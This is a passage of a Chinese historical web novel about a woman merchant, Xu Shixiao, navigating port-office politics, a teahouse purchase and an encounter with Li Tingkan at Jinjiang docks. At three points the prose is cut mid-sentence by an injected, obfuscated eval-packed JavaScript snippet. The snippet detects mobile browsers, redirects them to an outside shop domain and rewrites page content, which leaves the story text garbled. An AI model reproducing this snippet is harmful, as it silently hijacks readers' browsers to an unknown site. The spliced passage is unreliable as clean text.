窗外，不知何时，雨已悄然停歇。 一道澄澈的天光，刺破浓云，斜斜映入堂下，正好落在她低垂的眼睫与素净的衣襟上，皎然生辉。 而刘升来与何地山的目光，也在这片光亮中，变得更加深邃复杂。 今日这场应选，早已偏离初衷。 原以为来应选的是个棒槌，没想到却是个定海神针。 何地山捻着颔下几茎稀疏的胡须，轻笑一声。 许师孝闻声看向他，只见他脸上严肃尽去，露出了几分真切的欣赏与遗憾：“荀娘子啊荀娘子，以你今日所展露的才具心智，做一个四栈二柜，实在是大材小用。” 一旁的刘升来也缓缓点头，目光变得郑重。 他将凉茶放下，手指在案几上轻轻一摩挲，似乎做出了什么决定。 “私贩硝石，事关海防国禁，非同小可。此事已非我二人所能专断，更非一栈商事。” 他看定许师孝，目光中有托付，亦有提携，“稍后，你且随我与何书办，一同前往后泉堂，面见三爷及诸位执事。将你方才所言，从头至尾，再禀报一遍。” 他二位都不是抢功的人，也知此事重大。 此举，既是依循章程，更是要给她一个直达上听、展现才具的机会，好教上面的执事们看见她，谋一个更显要的差事。 其中为许师孝铺路搭桥的深意，不言自明。 许师孝听懂了这份沉甸甸的好意。 她起身，敛衽，深深一礼： “二位前辈提携之恩，晚辈铭感五内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240829|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只是……” 只是，她不是陈炳台的远房侄女，也不可能在安平港久留。 “六堂啊六堂，都是逢场作戏，您可别真把自个儿当成那保商栈的二柜了。”耳畔，陈老那句话回响不休。 港署于她，终究是过客。 她抬起头，眼中清辉依旧，却多了几分审慎。 “只是，后泉堂……晚辈便不去了。” 语声落，‘清榷堂’内倏然一静。 刘升来端着茶盏的手停在半空，何地山捻须的手指也僵住了。 两人着实愕然。 在他们看来，方才那些鞭辟入里的剖析，正是为了届时到后泉堂上一鸣惊人。 她竟……不愿？ “这是为何？”刘升来眉心蹙起。 锥处囊中，此时正是其末立见之时。 可他不知道，许师孝这个锥，在多年前便见于人前了。 后来莫名落败，也很难说不是木秀于林的缘故。 何地山则目光灼灼地盯着她，试图从那沉静的面容上找出端倪：“可是心有顾虑？有三爷与我二人在场，断无让你独自应对之理。” 正因那位李三爷在，她才更不能去。 但实话，许师孝是不能说出口的，只道：“荀某初来乍到，人微言轻，既有今日之事，再去后泉堂，恐惹各位执事不快。” “今日之事”，说的便是应选设计刁难一事。 看来这位荀二柜，也是眼明心亮，只看卷宗考题，便知自己已经被上面针对。 刘升来与何地山又相视一眼，眸色渐深。 听她此说，倒觉先前是他二人考虑不周。 陆吾山已经发了话，不要这个人，他们却给留下，留下后，又立马抬举人去后泉堂。 这在有心人眼里，就是他二人给陈老拍马屁，拍得忘乎所以了。 这不但帮不到她，反而会闹得流言纷纷，对彼此都不利。 许师孝见两人久久未语，堂内只闻窗外檐角残余的雨水，一滴，一滴，敲在石阶上。 她心中明镜一般，无论自己去不去后泉堂，今日这堂中对答，必会一字不落地呈上案头。 刘、何二人已算心思剔透，后泉堂里那些搅弄风云的人物，只会更加敏锐。 她于是整了整素净的青色袖口，拱手，向二位前辈深深一礼：“今日之事，晚辈还有一不情之请。” “讲。”刘升来吐出一个字，目光紧紧锁着她。 堂内高窗滤下的天光，在她抬眸的一瞬，恰好映亮了眼睛，那瞳仁极黑，深不见底。 她道：“方才那份‘永泰昌’的卷宗，连同晚辈说的那些话，二位就当……从未听过。” 此言一出，堂下倏忽静穆。连那恼人的滴水声，也骤然停歇了一瞬。 刘升来眸光凝住，明白了她的意思。 却是没想到，她竟谨慎至此。 此事若报上去，虽不至立刻飞黄腾达，但在港署之内，任谁也得高看一眼。 在港署这等地方，功劳便是晋身之阶，多少人汲汲营营、机关算尽，只为了一点微末功劳，她却要拱手让人？ “你可想清楚了？如果这么做，那‘察疑有功’的名头，就要落在最初经手此单的保商栈一栈名下，你甘心……为人作嫁？” 何地山也捻须沉吟，目光在她脸上逡巡：“荀娘子，年轻人争一时之气无妨，但此等机遇，稍纵即逝。你初来乍到，正需实绩立足。” 许师孝目光定定：“请二位成全。荀某刚来，自觉功劳之事，还是来日方长为上。” 刘、何二人相对无言。 这世道是怎么了，想争功的无处去争，有功的却非要推出去。 半晌，刘升来才长长吐出一口气：“既如此，那便依你。” 18. 堂议 午后，烈日灼着地砖，蒸起一层虚白的光。 万峤堂内门窗洞开，却进不来一丝风，只听得见蝉声嘶鸣，一阵紧过一阵。 陆吾山听完几处栈口的账簿复核，便觉烦渴，端起冰湃过的酸梅饮子，啜了一口。 环顾四周，才见堂屋里摆的冰块已化了大半。 下首坐着的一众栈首齐齐摇扇，一时停不下来。 但他们还不是最热的，因为今日距主座最远处、墙角边还坐了两个人。 ——刘升来与何地山。 平日墙角是不坐人的，今日他二人往那儿一戳，陆吾山抬眼就看到了人。 想起了应选的事，他状似随意道： “听闻，今日陈老荐来的那位掌柜，二位留下了？” 话音落得轻，在闷热中荡开一丝别样的冷气。 孙聘英眉眼微抬，手中素扇也缓了下来，她今日没有到场，倒侥幸躲过了这一劫。 陆吾山在安平港跟杜巢斗了小半辈子，眼看着又要跟六旬老人陈炳台斗。 这样的好戏，她还是静观为妙。 刘升来与何地山对视一眼，只是一笑。 荀二柜是个谦逊人，将贩硝之事按下不表，但他们到了港署众位栈首的面前，却不能一言不发。 “回执事的话，是留下了。” 刘升来起身拱手，“说来惭愧，起初我二人也觉着，陈老这回怕是走了眼，荐来个不通实务的年轻娃娃。可这一清早盘下来，此人心思之缜密，着实令人心惊。” 何地山接过话头，捻着胡须：“执事您知道，看人第一道，便是看其如何‘看事’。寻常人检视旧单卷宗，多是核对数目、查验规程有无纰漏。可这位荀二柜——” “她看的，是‘因果情理’，一份三五年前的旧单，能从一个封装上，看出货主在海上的输运路线，点破那批货的来路、去向。” “哦？是么？” 陆吾山眉梢微微一动，心下暗自嗤笑。 这两个老滑头，为着拍马屁，真是什么恶心的话都说得出来。 各家商号自然各有各的封装、标识，但凡识字，就能看明白，连这也看不出，就不必在这个行当混了。 “不单是这些。” 何地山叹了一声，笑道：“此人学问非凡，自嘉靖年间至今的海上买卖，外洋各国的物产格局，都可一一说来。即便是一桩什么都不挨着的旧单，她也能讲出一番谁也看不出的道理。其见识，已非‘博闻强记’四字可概。” 陆吾山听得暗自蹙眉，眯起了眼。 这两个老家伙，莫不是打错了腹稿？ 这场应试，考校的是单子错漏，这跟嘉靖年的海上买卖，外洋各国物产有何关联？ 吹牛也要圆得上吧。 刘升来与何地山当然不是不想圆上，怎奈许师孝主动放弃硝石案的功劳。 他们不能说出最有力的证据，便只能夸夸其谈，说些溢美之词，这就难以取信于人。 孙聘英放下手中扇子，露出了几分听趣的神色：“这般厉害？可听看守们说，这人不过二十来岁，又是个徽州的闺阁女子，平日里都出不了几次门，这些海路、物产，莫不是她胡诌的？” 刘升来看着孙聘英，已经有些词穷，只能反复吟唱：“孙栈首，若非亲眼所见，我二人也是断不敢信的。此人对海上各路关节、底细了如指掌，哪日您若见了，怕也要动容。” 孙聘英就没放在心上，一个吃空饷的富家小姐罢了，谁还指望她做什么事。 刘、何二人的嘴里，左不过是奉承的话。 陆吾山听得不耐，慢慢放下了饮子。 “如此说来，”他目光在二人的脸上扫过，“陈老这回，倒是给我们港署挖着宝了。” “二位今日‘力排众议’，想来这人是不差的，日后若有功劳，陈老也当嘉奖。” 刘升来与何地山心头皆是一凛，原以为他二人联合起来，苦口婆心地游说，能让他们几位改弦更张，却不料越描越黑。 此刻陆吾山心里，恐怕已将他们与陈老挂上了钩。 天气热极，刘、何二人的脸上都沁出了汗。 杜巢倒台，整个安平港署都被翻了个面。 陈炳台虽是暂摄，但非熟手，港里的细务还得由陆吾山过目。 陆吾山今年四十有三，在安平港跟杜巢斗了小半辈子，因不是李老爷子嫡系，所以久居人下。 他心里那口怨气，积了不是一天两天了。 如今压在头上的石头一倒，又碰上陈炳台这样家世显赫的主儿，谁也不知道事情会变成什么样。 陆吾山不再看他们，望向白晃晃的日头，笑道：“这个荀泾，从前竟然没有听说过？既是陈老的远房侄女，她到底是出自哪一房？” 刘升来忙道：“这个，陈老未曾细说，荀二柜只道是家中变故，才来投奔。” “哦。”陆吾山点了点头，心里又浮起另一种猜测，陈炳台此人他不甚了解，只知其平时甚少插手港务，一副不显山不露水的样子。 倘若他早猜到杜巢倒台，提前安排自己人进安平港，也不是说不过去。 陆吾山端起饮子，望向远处海港的方向，目光悠远，“既有陈老信重，那便让四栈好好用着吧。” “是。”宋伯新撑着桌案，费力起身，行了一礼。 他是保商栈四栈的栈首，从前这样的堂议，都是各家前三栈的人说话，他搁在一边听听，不想今天竟还有一个字可说。 孙聘英扫过陆吾山冷峻的侧脸，又瞧了瞧宋伯新那一脸的汗，手中杭扇又轻轻摇了起来。 · 许师孝尚不知道万峤堂发生了什么事，但听闻自己被四栈安排去看管旧档，便大致猜到，刘、何二位老前辈一定替她说了不少好话。 在月港打滚了小半辈子，许师孝对尔虐我诈，屡见不鲜。 但她不是为了当二柜来的，所以也无需挂怀。 未时初刻，日头敛了锋芒，变得温吞可亲。 许师孝换了竹拐，走在南北大街上，只见云散天青，一片澄澈。 街市人声渐稠，一股温暖踏实的食物香气，远远近近飘来。 那馄饨摊子支着布篷，炉上坐着一口宽大的铁锅，清亮的汤水咕嘟咕嘟翻滚，白气氤氲。 许师孝要了一碗肉燕，坐了下来。 应选一事了结，正是该松口气的时候。 她转过头，望向馄饨摊斜对角的茶栈——“老盏记”。 前两天给故旧写信，她方才想起来有这么一位做茶生意的老友——王谱经。 此人乃江西抚州人士，做瓷器生意起家，来闽后，在桐木关买下了几十亩茶田，商号建在建宁府崇安县，之后另在漳州龙溪、泉州晋江立了分号。 许师孝想起自己在漳州还有几间货栈，地段不错，但她身在泉州，也许久不看顾了，那还不如与王谱经商量商量，若她有意，就定个价钱，都盘给她开茶栈，也省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240830|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己一些心力。 不一会儿，粗瓷大碗端了上来。 汤色清澈，浮着几点翠绿的葱花、油星，肉燕皮薄，透出里头粉嫩的肉馅。 许师孝喝了口汤，尝出是猪骨熬煮后的醇鲜，整个人都暖洋洋的。 吃完，她便上“老盏记”登门拜访。 不料这个盘半年账的关口，王谱经却没有来，来的是她的妹妹王谱芝。 许师孝这才得知，泉州这家分号已由王谱经的妹妹王谱芝接手了。 打她接手后，茶栈生意每况愈下，主顾都被对街的茶栈抢了去，当下的境况，跟许师孝那万安栈也算棋逢敌手、卧龙凤雏。 得知这等变故，许师孝请她盘店的打算，也只好搁下。 王谱芝倒是热情好客，拉着她到二楼坐下，喝茶说话。 二楼的“松风汲露”，支开了槛窗。 许师孝侧身坐着，眼睫低垂，阳光在白皙的脸上落了一小片阴影，微微颤动。 这一幕，落在了对街二楼的人眼里。 李廷勘靠坐在躺椅上，面容在光影交界处晦明不定。他今日原是约了人在自家茶栈二楼谈事，正要离开，却不想竟在这里遇见她。 坐在身侧的淙老，顺着他的目光望去，眯着眼辨认了片刻，迟疑道：“三爷，那个人，身形看着倒有几分像是六堂？” 李廷勘没有回答，只望着对面，窗扉半开，许师孝接过了对面之人的茶，一袭苍青衣衫，朦胧在氤氲的茶烟里。 “不是像。” 淙老愕然：“真是六堂？她怎么会来晋江？” 李廷勘收回目光，沉默不言。 许师孝盘算着尽快离开，不料吃了茶，又上茶点。 王谱芝态度热络，教她不得不多问一句：“王掌柜可是遇上了难事？” 王谱芝原就等她这句话，目光凝定，起身一礼：“久闻许六堂高义，王某不才，这次留您说话，确有事相求。” 她面露难色，将接手茶栈的前因后果一一说来。 两年前，她在老家做瓷器生意，得了阿姊的信，来闽中，改做茶叶生意，熟料隔行如隔山，茶栈再开下去，就要把老本赔光了。 “在您来前，我已预备着把茶栈盘出去，不想接连几个牙人上门，压价极狠，真是一点活路都不给人留。” 许师孝沉默一瞬，看向她：“你想要个什么数？” “至少一千二百两，”她有些难为情，又解释道：“我得要这笔钱，否则回了那边，做瓷器的本钱便不够。” 许师孝点了点头。 一千二百两，倒不算多。 “老盏记”的地段不差，是晋江有名的茶汤巷，临对街都是百年老茶铺。 想必当初王谱经选址在此，也不惧与那些人掰腕子。 可到了王谱芝这里，要在此地立足，着实不易，输给泉州本地的老字号，其实也不冤。 这个栈子若盘下来，断不能再做茶叶生意。 许师孝打定了主意，她如今身在晋江，若被熟人认出来，总要有个说法。 在此地做生意，就是个好说法。 她于是笑了笑，眼尾微抬：“我出一千五百两，再给你添点盘缠。” 王谱芝目光怔住。 一千五百两！ 不愧是漳州许氏出身，久闻这位早年间便豪掷千金，今时遇上，还是如此阔绰。 她忙起身，郑重一礼：“许六堂痛快，王某……承情了。” 19. 回南安 夜色空濛，晋江码头乌压压聚了一片人。 官兵从前面，围到码头的长阶两边，熊熊火把在风中摇晃。 远处，一条四百料的官船正徐徐靠岸。 官员出行，众人避让。 亟待今夜坐船离城的民众，都焦急地等在码头上。 “这么多官兵，不像县衙的人，哪个衙门来的？” “最近安平封港，闹事的人多，昨日菜市口都打死了人，估摸着是知府衙门的人来了。” 许师孝闻言皱眉，撑着拐杖踮脚，想看一看究竟，却只瞄到了几个人头—— 铁质明盔、顶有朱缨，盔体高，眉庇宽大，是正宗的“碗罗帽”。 她眼睛一眯。 来的不是海防道的人，而是福建南路参将程协的部将。 这个程协，许师孝倒有所耳闻，他是泉州李家一手扶持上来的人。 嘉靖四十一年，戚继光入闽平倭，深感卫所废弛，在谭纶支持下，将浙江义乌兵与福建本土募兵混编，以“路”统“营”，形成了福建五路陆海防体系。 万历初，倭寇在泉漳外海劫掠商船，程协麾下水师因火药短缺，屡战不利，他一连上了几道疏，想从兵部调拨火器，却迟迟没有下文。 李家便从自家的私兵仓房，调取红衣大炮、佛郎机铳二十门，赠与程协。 后来，水师大破倭寇，程协也升任了福建南路参将，多年来，其人对泉州李家的信重不减分毫。 但他的人马，按道理不该出现在这种场合。 福建南路兵马节制泉、漳两府，参将虽驻泉州，主力却在浯屿、澎湖。 他一个领兵打仗的将军，应该驻扎在水寨，缘何到晋江码头来？ 只能是李廷勘的用意。 他要拿这些兵马镇压暴乱。 可暴乱到底不过一县，何以调动南路兵马？ 许师孝深吸一口气，心头涌起一种不祥的预感，先前她得知“海通”的下落，急急来了晋江，黄家的事还撂在那里。 今夜本想着坐船回南安，赶赴明日的请神大宴，见一见吴鸿思这个人。 可看船来方向，就是南安。 程协的人已经去过南安了？ 在她不在的这几日里，那边究竟发生了什么？ 火把，烧出一阵噼啪的裂响。 她思忖的片刻，官船已经靠了岸，人群轰然向四面散去。 许师孝眼疾手快，甫一转身，不料身侧两个小孩撞了过来，竹拐被打脱手。 人群像退潮的海。 她没了竹拐，只能勉强跟上，膝骨猝不及防撞在石板上，触动了先前“麒麟甲”留下的擦伤。 她低喘了几声，艰难撑起身体，身侧的几人都走得很快，几乎要与她撞上。 许师孝匆匆迈开步子，向人群外挤去。 松风阵阵，未觉凉意，走到拐角的地方，她的腰忽然被什么托住了。 不是扶，更像是捞，那人似从湍流里舀起一片浮木，她反应过来时，脊背已贴上一片硬挺的凉意，是织锦衣袍的边沿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240831|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许师孝偏过头，便见那人喉结的弧度。 李廷勘。 李廷勘垂眸看了她一眼，将她往上带了带。 许师孝这才发觉自己不知何时攥住了他的衣襟，素缎温热，指节硌在了底下的锁骨上。 松也不是，不松也不是。 身后，李家部曲的青衣在风荡开。 为首的按住腰刀，快步朝码头上走去。不知说了什么，须臾间，官兵动了。 乌压压的人墙从长阶边缘退开，碗罗帽的火红朱缨一颗一颗低下去，火把成排四散。 许师孝默默看着，膝盖还在疼，刺痛渐渐让她意识到自己此刻是个什么姿态。 风，吹乱额前几缕散发，微凉。 她正要挣扎着下来，李廷勘忽然开口。 “去南安？” 提及南安，许师孝的心骤然一沉，当即看向他，点了头。 他得了答复，打横抱起她，转身上了长阶，船工还在搭跳板，见人上来，躬身往旁边让去。 许师孝扫视着乌泱泱散开的人群，到了高处，才见码头阶下，自己那支竹拐还孤零零地横在地上。 有侍从快步过去，替她捡了回来。 · 船在晋江上漂着，江水粼粼闪着光。 舱内点了几根蜡烛，火光淡漠。 许师孝坐在矮榻边，低头擦药。 “麒麟甲”的威力果然不容小觑，只是戴了两日，膝盖上就淤了一大片紫，在这片昏黄里更是触目惊心，衬得周围一圈白得晃眼。